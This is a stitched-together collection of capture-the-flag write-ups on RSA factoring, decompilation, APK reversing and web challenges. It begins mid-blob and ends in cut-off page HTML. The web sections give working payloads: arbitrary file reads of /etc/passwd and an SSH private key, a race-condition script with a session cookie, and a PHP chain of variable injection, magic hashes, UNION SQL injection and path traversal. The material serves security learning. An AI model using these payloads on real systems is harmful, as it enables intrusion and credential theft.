gMDAxMTAxMTEgMDAxMTAwMTAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMTAxMDEgMDAxMTAxMDAgMDAxMTAwMTAgMDAxMTEwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMTAxMTEgMDAxMTEwMDEgMDAxMTAwMDEgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMTAxMTEgMDAxMTAwMTEgMDAxMTEwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMTAwMDEgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMTAxMDEgMDAwMDEwMTAgMDExMDExMTAgMDAxMDAwMDAgMDAxMTExMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMTAwMTEgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMTEwMDAgMDAxMTEwMDAgMDAxMTAwMTAgMDAxMTAxMTAgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMTAxMTAgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMTAxMDAgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMTEwMDAgMDAxMTEwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMTAxMDEgMDAxMTAxMTAgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMTAwMDEgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMTAxMDEgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMTEwMDEgMDAxMTAxMDAgMDAxMTEwMDAgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMTAwMTAgMDAxMTEwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMTEwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMTAwMTAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMTEwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMTAxMDEgMDAxMTEwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMTAxMDAgMDAxMTAxMDAgMDAxMTAwMTEgMDAxMTAwMDEgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMTAxMTAgMDAxMTAxMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMTAwMDEgMDAxMTAwMTEgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTAwMTAgMDAxMTAwMDAgMDAxMTAxMDAgMDAxMTAxMTAgMDAxMTAxMTAgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMTAxMDEgMDAxMTEwMDAgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMTAwMDEgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMTAwMTAgMDAxMTEwMDEgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMTAxMDEgMDAxMTAxMDAgMDAxMTEwMDEgMDAxMTAxMDAgMDAxMTAwMDEgMDAxMTAxMDEgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMTAwMDAgMDAxMTAxMDEgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMTEwMDEgMDAxMTEwMDEgMDAwMDEwMTAgMDExMDAxMDEgMDAxMDAwMDAgMDAxMTExMDEgMDAxMDAwMDAgMDAxMTAwMDAgMDExMTEwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMTAwMDE) to decode it . And it outputs

So, apparantly it is a RSA cipher. And we have a Modulo N which is not so big. So we could factor it directly using [this](https://www.alpertron.com.ar/ECM.HTM).
Now we have p and q```p="121588 253559 534573 498320 028934 517990 374721 243335 397811 413129 137253 981502 291629 "q="121588 253559 534573 498320 028934 517990 374721 243335 397811 413129 137253 981502 291631 "
p = int(p.replace(" ",""))q = int(q.replace(" ",""))print(p)print(q)
```
So we could calculate Euler phi(n) and compute the inverse of e modulo phi(n)
```phin = (p-1) * (q -1)print(phin)
'''14783703403657671882600600446061886156235531325852194800287001788765221084107387976823539256683446492107102048156712604120787224153025694658746978563473640'''
import gmpy2e = 65537d = gmpy2.invert(e, phin)print(d)'''3299077807627652338114863077706564002547334263707346215942099900219591350764767217923375522666515173826485305312906020038550943028182565335370471054378473'''```
Now we can do the decryption
```c = 7424699238646955201370695213431987671142812230143306867560482933056266299380926684689129315498363439046922143979269386180477235672715428337919573885741855n = 14783703403657671882600600446061886156235531325852194800287001788765221084107631153330658325830443132164971084137462046607458019775851952933254941568056899
m = pow(c,d,n)print(m)
'''384381784108403635336803492209858541007704056957'''
from Crypto.Util.number import *mbytes = long_to_bytes(m)print(mbytes)
'''b'CTF{r0n_4D1_130N4rd}''''```
Got it! |
### crypto/rejected
Whenever the RNG has to reroll, then it means that the highest bit of the output is `1`. This lets you launch a known-plaintext attack on the underlying LFSR. Solve the resulting linear system (over `GF(2)`) and find the flag.
You don't really get much information if the RNG doesn't reroll. A good choice of modulus is `(2^32 // 3) + 1` or `(2^32 // 4) + 1`.
Hellman's solve script is [available here](https://gist.github.com/hellman/7dd5e14a49bb857c8e07e5f3aab866fc) |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/Decompetition_CTF_2022/#baby_c) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/Decompetition_CTF_2022#baby_c) out# Baby_c
```assembly; This is the disassembly you're trying to reproduce.; It uses Intel syntax (mov dst, src).
main: endbr64 push rbp mov rbp, rsp push rbx sub rsp, 0x18 mov [rbp-0x15], 1block1: mov rax, [stdin] mov rdi, rax call [email protected] mov [rbp-0x14], eax cmp [rbp-0x14], -1 je block7block2: call [email protected] mov rax, [rax] mov edx, [rbp-0x14] movsxd rdx, edx add rdx, rdx add rax, rdx movzx eax, [rax] movzx eax, ax and eax, 0x2000 test eax, eax je block4block3: mov rdx, [stdout] mov eax, [rbp-0x14] mov rsi, rdx mov edi, eax call [email protected] mov [rbp-0x15], 1 jmp block1block4: cmp [rbp-0x15], 0 je block6block5: mov rbx, [stdout] mov eax, [rbp-0x14] mov edi, eax call [email protected] mov rsi, rbx mov edi, eax call [email protected] mov [rbp-0x15], 0 jmp block1block6: mov rbx, [stdout] mov eax, [rbp-0x14] mov edi, eax call [email protected] mov rsi, rbx mov edi, eax call [email protected] jmp block1block7: mov eax, 0 add rsp, 0x18 pop rbx pop rbp ret```
We started with the probably "easy" C challenge base on the name. Our plan was to
- [ ] Figure out what the binary does- [ ] Figure out what the different assemble statements would be in conjunction to the behaviour do- [ ] Figure out how to programm in C
Based on the tip of the maker we uplouded the binary to [binary ninja](https://cloud.binary.ninja) and realized why to stop there. So we went ahead and also used [ghidra](https://ghidra-sre.org/) and [ida](https://hex-rays.com/ida-free/). Which showed us already interesting outputs.



As you can see we have slightly 3 different versions when we use the decompiler of each tool. You know what they say more tools = more fun. But back to our plan what does the programm do ?Based on the outputs we have at the start a variable which is set to 1 and an endless loop until the the break signal is sent to the binary, we think. Next observation is that we have a check on \_\_ctype_b_loc() with the value 0x2000 and if that is true it writes out the input it took to stdout or the console. If that is false depending on the first variable it either uses toupper on the input or tolower and set the original variable to 0. Cause we were not sure if we should uses imports or not, cause they were already given as the starter code, we decided to use the ida output as base cause it did not need any additional imports:```C#include <ctype.h>#include <stdio.h>int __cdecl main(int argc, const char **argv, const char **envp){ FILE *v3; // rbx int v4; // eax int v5; // eax char v7; // [rsp+Bh] [rbp-15h] int c; // [rsp+Ch] [rbp-14h]
v7 = 1; // counter variable while ( 1 ) { c = getc(stdin); if ( c == -1 ) break; if ( ((*__ctype_b_loc())[c] & 0x2000) != 0 ) //no clue what that is { putc(c, _bss_start); // based on google search and the other decompiler _bss_start in this case == stdout v7 = 1; } else { v3 = _bss_start; if ( v7 ) { v4 = toupper(c); putc(v4, v3); v7 = 0; } else { v5 = tolower(c); putc(v5, v3); } } } return 0;}```So after that we were sure its not malicious code so we also just ran the code in our VM and did a little black box testing. Cause some parts were still unclear for us.After that we saw that whatever input we give if the first character is from an alphabet and its lower case the output would have an upper case and all other characters would be just printed out and if its from an alphabet it would be lower case.So for example:```console└─$ ./baby-c helloHelloWORLDWorld123bs123bsbs123Bs123empir0x65Empir0x65
```**Disclaimer: Never execute something you don't know or trust. We are usually just stupid and execute everything from CTFs**
- [X] Figure out what the binary does
We were now confident that we know what the programm does so lets dive in and see what we can achive with the nice outputs our dicompilers.The first thing we did was some clean up of the original code to make it more readable for us, with some comments for you:```C#include <ctype.h>#include <stdio.h>int main() //int __cdecl main(int argc, const char **argv, const char **envp) no clue why it was there but we don't need any input to start the programm{ // FILE *v3; // rbx again no clue why its heres based on the ghidra output for the decompiler the stdout stream is some kind of bit stream which can be declared this way in C we think // int v4; // eax not used after clean up // int v5; // eax not used after clean up char runtime_counter; // char v7; // [rsp+Bh] [rbp-15h] renamed to understand the code better int input_output; // int c; // [rsp+Ch] [rbp-14h] same here
runtime_counter = 1; // counter variable while ( 1 ) { input_output = getc(stdin); if ( input_output == -1 ) break; if ( isalpha(input_output) == 0 ) // based on our understanding this would be the check for the character of the input if its part of an alphabet { putc(input_output, stdout); // _bss_start replaced with stdout runtime_counter = 1; } else { if ( runtime_counter ) { putc(toupper(input_output), stdout); // made it a one liner to kick out v4 and v5 runtime_counter = 0; } else { putc(tolower(input_output), stdout); // made it a one liner to kick out v4 and v5 } } } return 0;}```With this code we were already quite near to the searched original code or one of its variations. Only the isalpha check was wrong. Instead of a JNE instruction we had a JE. Also we relaized that our code always make the first character of the input uppercase regardless of its position. So probably ((*__ctype_b_loc())[c] & 0x2000) != 0 is the culprit. Based on some googling we found out that * 0x2000 is a check if the char is big or small == 0x2000 2 == is a alphabet char and any of the 0 are for upper 1 would be lower [stackoverflow](https://stackoverflow.com/questions/37702434/ctype-b-loc-what-is-its-purpose)* != 0 check if true or false 0 means false [stackoverflow](https://stackoverflow.com/questions/14267081/difference-between-je-jne-and-jz-jnz)Not sure if the first observations is right or wrong but it make sense that it is a lookup on a given list. And based on the second finding and this nice instructions manual [intel](https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html) we found on page 1000 whatever that JE and JNE in this context means that we would need a check if something is not equal instead of if something is equal.
- [X] Figure out what the different assemble statements would be in conjunction to the behaviour do
We did it Jonny.
So for testing we did exchanged the isalpha with isdigit but it check 800 instead of 2000 of that list. Until now we have no clue what (*__ctype_b_loc())[c] & 0x2000) was originally the right function but when we just use this we have a 100% Solution:```C#include <ctype.h>#include <stdio.h>
int main() { // glhf char runtime_counter; // [rsp+Bh] [rbp-15h] int input_output; // [rsp+Ch] [rbp-14h]
runtime_counter = 1; while ( 1 ) { input_output = getc(stdin); if ( input_output == -1 ) break; if ( ((*__ctype_b_loc())[input_output] & 0x2000) != 0 ) //isalpha(input_output) == 0 { putc(input_output, stdout); runtime_counter = 1; } else { if ( runtime_counter ) { putc(toupper(input_output), stdout); runtime_counter = 0; } else { putc(tolower(input_output), stdout); } } } return 0;}```Also we saw that with that implementation it also worked for us if the second character is from an alphabet it would not be made to upper case. So no clue what is difference but you cant argue with that

We did not managed to do the last point on the list
- [ ] Figure out how to programm in C
But at least we got something which was more than we expected and with this little story we might help a student to understand the pleps a bit better. |
Full writeup: [https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/spacepirates/](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/spacepirates/) |
We have the following code
```python# ENCRYPT.py
from sympy import isprime, prime
flag = '<REDACTED>'
def Ord(flag): x0r([ord(i) for i in flag]) def x0r(listt): ff = [] for i in listt: if isprime(i) == True: ff.append(prime(i) ^ 0x1337) else: ff.append(i ^ 0x1337) b1n(ff)
def b1n(listt): ff = [] for i in listt: ff.append(int(bin(i)[2:])) print(ff) if __name__ == "__main__": Ord(flag)
''' OUTPUT :[1001100000110, 1001100000100, 1001100000100, 1001100000000, 1001101100010, 1001101100111, 1001101001100, 1001101001111, 1001100000111, 1001101000101, 1001101101000, 1001100000011, 1001101011001, 1001101110011, 1001101101000, 1001101110101, 1001101011110, 1001101011001, 1001100000011, 1001011001010, 1001101100101, 1001101001110, 1001101101000, 1001101110010, 1001101011001, 1001001111100, 1001100000111, 1001101010011, 1001100000100, 1001101000101, 1001101101000, 1001100000011, 1001101000101, 1001100000100, 1001101101000, 1001101000011, 1001101111111, 1001100000100, 1001101101000, 1001101100000, 1001100000100, 1001100000011, 1000101111100, 1001100000100, 1001111000110, 1001101000011, 1001101101000, 1001100001111, 1001100000111, 1001100000000, 1001100001110, 1001100000111, 1001100000000, 1001111000110, 1001100000001, 1001101001010]'''```
We can easily decode the output by reversing the process.
```pythonfrom sympy import isprime, prime, sieve
# Transforms base2 to base10.def unb1n(bin): dec = [] for i in bin: b = str(i) #print(b, int(b,2)) dec.append(int(b,2)) return unx0r(dec)
def unx0r(lista): un = [] for i in lista: x = i ^ 0x1337 if isprime(x): # if the number we get is prime it means we need #to get its index in the sieve to get the original number un.append(sieve.search(x)[0]) else: un.append(x) return to_char(un)
def to_char(lista): return "".join(chr(c) for c in lista)
bin = [1001100000110, 1001100000100, 1001100000100, 1001100000000, 1001101100010, 1001101100111, 1001101001100, 1001101001111, 1001100000111, 1001101000101, 1001101101000, 1001100000011, 1001101011001, 1001101110011, 1001101101000, 1001101110101, 1001101011110, 1001101011001, 1001100000011, 1001011001010, 1001101100101, 1001101001110, 1001101101000, 1001101110010, 1001101011001, 1001001111100, 1001100000111, 1001101010011, 1001100000100, 1001101000101, 1001101101000, 1001100000011, 1001101000101, 1001100000100, 1001101101000, 1001101000011, 1001101111111, 1001100000100, 1001101101000, 1001101100000, 1001100000100, 1001100000011, 1000101111100, 1001100000100, 1001111000110, 1001101000011, 1001101101000, 1001100001111, 1001100000111, 1001100000000, 1001100001110, 1001100000111, 1001100000000, 1001111000110, 1001100000001, 1001101001010]print(unb1n(bin))```
```shell❯ python solve.py1337UP{x0r_4nD_Bin4aRy_EnC0d3r_4r3_tH3_W34k35t_80790756}``` |
Download the `apk` file and use http://www.javadecompilers.com/ to decompile APK,got the source code.
First look at an HTML file at
resources/assets/localwebview.html
which seems to provide a Interface for the app, nothing particular interesting there,maybe only the word "interface".
In sources/ there is file with name "WebAppInterface"
```$ find ./sources/com/example./sources/com/example./sources/com/example/webview./sources/com/example/webview/databinding./sources/com/example/webview/databinding/ActivityWebViewActvitiyBinding.java./sources/com/example/webview/databinding/ActivityMainBinding.java./sources/com/example/webview/C0626R.java./sources/com/example/webview/bitcoincrypt.java./sources/com/example/webview/WebAppInterface.java./sources/com/example/webview/WebViewActivity.java./sources/com/example/webview/MainActivity.java./sources/com/example/webview/BuildConfig.java```
or a grep command could help reach that file, too
```java$ grep flag sources/com/example/sources/com/example/webview/WebAppInterface.java70: queue.add(new StringRequest(0, this.context.getString(C0626R.string.groot) + "?" + param + "=givemeflag", new Response.Listener<String>() {89: queue2.add(new StringRequest(0, this.context.getString(C0626R.string.groot) + "?flag=givemeflag", new Response.Listener<String>() {```
The code around looks like:
```java @JavascriptInterface public String callcrypt(String param) throws InterruptedException { if (Arrays.equals(bitcoincrypt.getsomesalt(param), AUTH_TOKEN)) { RequestQueue queue = Volley.newRequestQueue(this.context); queue.add(new StringRequest(0, this.context.getString(C0626R.string.groot) + "?" + param + "=givemeflag", new Response.Listener<String>() { ... }) { public Map<String, String> getHeaders() throws AuthFailureError { Map<String, String> params = new HashMap<>(); params.put("User-Agent", bitcoincrypt.getsomeheaders()); params.put("Accept-Language", "From JavaScript Interface"); return params; } }); } else { RequestQueue queue2 = Volley.newRequestQueue(this.context); queue2.add(new StringRequest(0, this.context.getString(C0626R.string.groot) + "?flag=givemeflag", new Response.Listener<String>() { ... public Map<String, String> getHeaders() throws AuthFailureError { Map<String, String> params = new HashMap<>(); params.put("User-Agent", bitcoincrypt.getsomeheaders()); params.put("Accept-Language", "From JavaScript Interface"); return params; } }); } ... }```
It makes an HTTP GET call to address stored at C0626R.string.groot with custom headers, and params `?flag=givemeflag`.Find groot in repo
```$ grep -Rin groot ../resources/res/values/strings.xml:43: <string name="groot">https://teambounters.com/shapa.php</string>```Access the page see a hint to setup params
```Ohh - Direct Access is not allowed Perhaps Javascript Interface can assist
Uh oh, Gandalf Rakesh body builder is blocking the way!Maybe you have a typo in the url? Or you meant to go to a different location? Like...some params ?```
Follow function definition bitcoincrypt.getsomeheaders()
```java public static String getsomeheaders() { byte[] bArr = "RheO5PB6mfL5N3YBH45e5XuCEaWpvWUsdgdedgdrddf".getBytes(StandardCharsets.UTF_8); byte[] bytes = "Thisnewuseragent".getBytes(StandardCharsets.UTF_8); byte[] bArr2 = new byte[bytes.length]; for (int i = 0; i < bytes.length; i++) { bArr2[i] = (byte) (bytes[i] & bArr[i % bArr.length]); } return new String(bArr2); }```
Google for `java hello world`, create a hello world Java program with the codeof this function to get the User-agent header, with the header, try again:
```pyimport requestsr = requests.get('https://teambounters.com/shapa.php', params={'flag': 'givemeflag'}, headers={'Accept-Language': 'From JavaScript Interface', 'User-agent': 'PhaC$@B4ad@!F!H@'})print(r.text)# Output: Your are on right track Try Harder for flag```
This is the `else` part of the function in WebAppInterface, the if part:
```java if (Arrays.equals(bitcoincrypt.getsomesalt(param), AUTH_TOKEN)) { RequestQueue queue = Volley.newRequestQueue(this.context); queue.add(new StringRequest(0, this.context.getString(C0626R.string.groot) + "?" + param + "=givemeflag", new Response.Listener<String>() {```
we need to find the secret `param` to access the flag.The `param` must returns True for `Arrays.equals(bitcoincrypt.getsomesalt(param), AUTH_TOKEN)`.Copy the AUTH_TOKEN and do a bit reverse coding (xor) to get the param used:
The```javaimport java.nio.charset.StandardCharsets;class HelloWorld { private static String salt = "RheO5PB6mfL5N3YBH45e5XuCEaWpvWUFESqTYnZk";
public static byte[] getsomesalt(String passparam, byte[] crypt) { byte[] bytes = passparam.getBytes(); byte[] crypt2 = new byte[bytes.length]; for (int i = 0; i < bytes.length; i++) { crypt2[i] = (byte) (bytes[i] ^ crypt[i % crypt.length]); } return crypt2; }
public static byte[] getsomesalt(String passparam) { return getsomesalt(passparam, salt.getBytes()); } private static final byte[] AUTH_TOKEN = {38, 0, 0, 60, 93, 49, 50, 95, 25, 22, 45, 71, 47, 94, 60, 54, 45, 70};
public static void main(String[] args) { byte[] bArr = "RheO5PB6mfL5N3YBH45e5XuCEaWpvWUsdgdedgdrddf".getBytes(StandardCharsets.UTF_8); byte[] bytes = "Thisnewuseragent".getBytes(StandardCharsets.UTF_8); byte[] bArr2 = new byte[bytes.length]; for (int i = 0; i < bytes.length; i++) { bArr2[i] = (byte) (bytes[i] & bArr[i % bArr.length]); } System.out.printf("%s\n", new String(bArr2));
byte[] crypt = salt.getBytes(); byte[] params = new byte[AUTH_TOKEN.length]; for (int i = 0; i < AUTH_TOKEN.length; i++) { params[i] = (byte) (AUTH_TOKEN[i] ^ crypt[i % crypt.length]); }
System.out.printf("%s", new String(params)); }}```
The param value is `theshapitparameter`, try again access the web:
```pyr = requests.get('https://teambounters.com/shapa.php', params={'theshapitparameter': 'givemeflag'}, headers={'Accept-Language': 'From JavaScript Interface', 'User-agent': 'PhaC$@B4ad@!F!H@'})print(r.text)```
Here the flag
`Flag{shapitflagXWs4rg0Ld0LrWxThBkwt}` |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/forensic-challenges/#Blank-Slate-2) (https://cyberturtle804502703.wordpress.com/ctf-write-ups/forensic-challenges/#Blank-Slate-2) |
We take a look at the given address:```http://challs.dvc.tf:51080```An nmap scan of the ports ```51000-52000``` reveals ssh listening on ```51022```The website delivered on port ```51080``` takes two parameters and diplays an embedded youtube video depending on these parameters:```http://challs.dvc.tf:51080?/MyTop5=4&playlistTop=TopRapFr```presents some french rap video.Replacing the last parameter with an empty string reveals the vulnerability```http://challs.dvc.tf:51080?/MyTop5=4&playlistTop=```we get a php error:```Warning: fopen(): Filename cannot be empty in /app/src/public/index.php on line 32```The application appears to open a file given in the parameter playlistTop and read the line given in parameter MyTop5.Since the filename should not be empty, we want to be kind and enter the desired filename```http://challs.dvc.tf:51080?/MyTop5=4&playlistTop=/etc/passwd```This call returns the following line appended to the youtube embed link:```sys:x:3:3:sys:/dev:/usr/sbin/nologin```showing that our call was successful. With a little python we are able to read arbitrary files:```import requestsfrom bs4 import BeautifulSoup
url = 'http://challs.dvc.tf:51080'filename = '/etc/passwd'lines = 30for count in range(1, lines): response = requests.get(url, params={'MyTop5': count, 'playlistTop': filename}) soup = BeautifulSoup(response.text) print(str(soup.find_all('iframe')[0]).split('embed/')[1].split('\n')[0])```We can list the system users that have shell access:```leonardo:x:1001:1001::/home/leonardo:/bin/bashadministrator:x:1002:1002::/home/administrator:/bin/bash```Increasing the line number in our script to 40 and changing the filename to the default ssh key location ```/home/leonardo/.ssh/id_rsa```, we are able to access leonardo's private key and login via ssh to obtain the flag in the home directory. |
its basically a race condtion where we can submit an answer multiple times simultaneously to get the required amount of points to buy the flag.```from multiprocessing.dummy import Pool as ThreadPoolimport requests
cookies = { 'connect.sid': 's%3AnnRHaf1b6sSp9X5EvB4MRWdEOMoy3dTr.G6%2B5ZGnaCDriHK5ozGxb%2B3FCoFjBs0ln9i7qcM3%2BGuw',}
headers = { 'Host': 'quiz.ctf.intigriti.io', 'Content-Length': '0', 'Sec-Ch-Ua': '" Not A;Brand";v="99", "Chromium";v="90"', 'Sec-Ch-Ua-Mobile': '?0', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36', 'Accept': '*/*', 'Origin': 'https://quiz.ctf.intigriti.io', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': 'https://quiz.ctf.intigriti.io/welcome', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.9', 'Connection': 'close',}
json_data = { 'questionNumber': 1, 'answer': 'monthly',}def runner(d): r1 = requests.post('https://quiz.ctf.intigriti.io/submitAnswer', headers=headers, cookies=cookies,json=json_data) print(r1.text)pool = ThreadPool(40)result = pool.map_async( runner, range(40) ).get(0xffff)r2 = requests.get('https://quiz.ctf.intigriti.io/buyFlag', headers=headers, cookies=cookies)print(r2.text)``` |
See here: [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/14/032052)
First of all, this challenge is to send a correct input to the server.
## Given FileI obtained an executable file named "file" and opened it in ghidra.I changed some function name for understand.
First, this program receives input in line 11.In line 17, the input function checks input format.The input format is like "num;num;num;...;num".
Between line 18 and line 21, the check1 function determines whether the quotient and remainder of the iva1 variable divided by 14 are between 0 and 13 or not. If it's not, then it displays "cheater". Therefore, we can choose numbers between 0 and 195.In line 22, the check2 function determines whether all 196(=14*14) characters beginning with &DAT_00104100 are 0x2d(-) or 0x2a(*). 
Now, what is a string begins with &DAT_00104100 ? Look at line 16, the initialization function calculates the remainder of the pseudorandom number divided by 14 and replaces the &DAT_00104100 index with 2a. It also process other things.## SolutionThe solution is to find the input number which does not display "BOOM" in the check1 function. I spent much time to find a solution using the rand function in the initialization function. However, i coudn't, so I looked for a number which does not display "BOOM" in the check1 function one by one.
Here is the correct input.
Finally, my writeup may help you understand this program, but may not be good for people who want to solve it correctly. Thank you. |
In this post I'll discuss the first challenge our team solved as part of the Intigriti CTF. This was a php web challenge where we were given the source and asked to read the contents of the file to retrieve a flag.
## Initial AssessmentThe source code for the challenge can be seen below:
➡➡➡ ⛳? ⬅⬅⬅ <flag> */ if ($_SERVER['REQUEST_METHOD'] == 'POST'){ extract($_POST); if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){ $loggedin = true; } if (md5($_SERVER['REMOTE_ADDR']) != '92d3fd4057d07f38474331ab231e1f0d'){ header('Location: ' . $_SERVER['REQUEST_URI']); } if (isset($loggedin) && $loggedin){ echo 'One step closer ?'; if (isset($_GET['action']) && md5($_GET['action']) == $_GET['action']){ echo 'Really? ?'; $db = new SQLite3('database.db'); $sql_where = Array('1=0'); foreach ($_POST as $key => $data) { $sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'"; } $result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where)); if ($result == 'admin'){ echo 'Last step ?'; readfile(file_get_contents('php://input')); } } } } ?>
We can see that this challenge will require us to bypass a number of conditional statements in order to execute the final readfile() function, where we will then need to modify our payload so that we can read a file.
## Step 1: We're Logged In!
if (isset($loggedin) && $loggedin)
The first important conditional statement is checking if the $loggedin variable is true. We notice a suspicious usage of the extract() function above this. This function allows variables to be extracted from arrays. It's being run on $_POST which is our POST input (user/attacker controlled). This will allow us to not only declare variable, but also to assign values to them using POST data.
We can simply pass a loggedin parameter with a value of true.
> POST / HTTP/1.1 Host: phorrifyingp.ctf.intigriti.io Content-Type:> application/x-www-form-urlencoded Content-Length: 32> > loggedin=true
Once sent, we see the confirmation on the page:
> One step closer ?
## Step 2: It's Magic!
if (isset($_GET['action']) && md5($_GET['action']) == $_GET['action'])
The next conditional statement is checking for a GET parameter named "action". This parameter must satisfy the condition that its value is equal to its md5 value. This seems very unlikely. In fact, it takes a little bit of understanding about php [magic hashes](https://www.whitehatsec.com/blog/magic-hashes/) to understand how this condition could be satisfied.
In short, the use of "=\=" allows for comparison of different object types. If we wanted to compare the literal value, we'd use "\=\=\=". If we enter a String with a value such as "0e1", this will effectively equal 0 to the power of 1 (which is 0). In fact, 0 to the power of any number will always result in 0.
Using this logic, we simply need an input beginning with 0e and followed by a series of numbers which results in a md5 hash which also begins with 0e and is followed by a series of numbers.
Once such input is "0e215962017". The md5 value of which is "0e291242476940776845150308577824".
Placing this as a GET parameter, we will get one step closer.
POST /?action=0e215962017 HTTP/2 Host: phorrifyingp.ctf.intigriti.io Content-Type: application/x-www-form-urlencoded Content-Length: 13 loggedin=true
We get the confirmation:
> Really? ?
## Step 3: State Of The Union
if ($result == 'admin')
The last conditional statement checks if $result is equal to 'admin'. This value comes from a SQL statement. Each of the parameters we pass in our POST data will become a part of this query. They are joined with the 'AND' condition. The clause array is initially populated with "1=0" which can never be true.
Firstly, we encounter errors about "no such column loggedin", which hints that we'll need to find a way to get rid of this part of the query, we can do so by commenting it out.
1--=aaaa&loggedin=true
Next, we notice that the current state of the query will never be true due to the "1=0" condition. This hints towards us using a UNION query to separately select the "admin" entry. We inject this into the parameter name.
POST /?action=0e215962017 HTTP/2 Host: phorrifyingp.ctf.intigriti.io Content-Type: application/x-www-form-urlencoded Content-Length: 52 1/**/UNION/**/SELECT/**/"admin"--=aaaa&loggedin=true
We receive the confirmation that we have bypassed this check:
> Last step ?
## Step 4: Traversing The Plane
> Warning: > readfile(1/\*\*/UNION/\*\*/SELECT/**/"admin"--=aaaa&loggedin=true):> failed to open stream: No such file or directory in> /var/www/html/index.php
As we can see from the error above, the entire POST data payload is being sent into the readfile() function.
We can enter invalid directories, as long as we traverse back out of them. Using "\.\." we are in effect removing it from the path **before** it is ever searched for.
POST /?action=0e215962017 HTTP/2 Host: phorrifyingp.ctf.intigriti.io Content-Type: application/x-www-form-urlencoded Content-Length: 108 1/**/UNION/**/SELECT/**/"admin"--=a&loggedin=true&test=/../../../../../../../../../../var/www/html/index.php
And we get the flag:
> 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME}
## Final NotesThanks to all members of "Team Ireland Without RE" with special thanks to [@0daystolive](https://twitter.com/0daystolive). |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
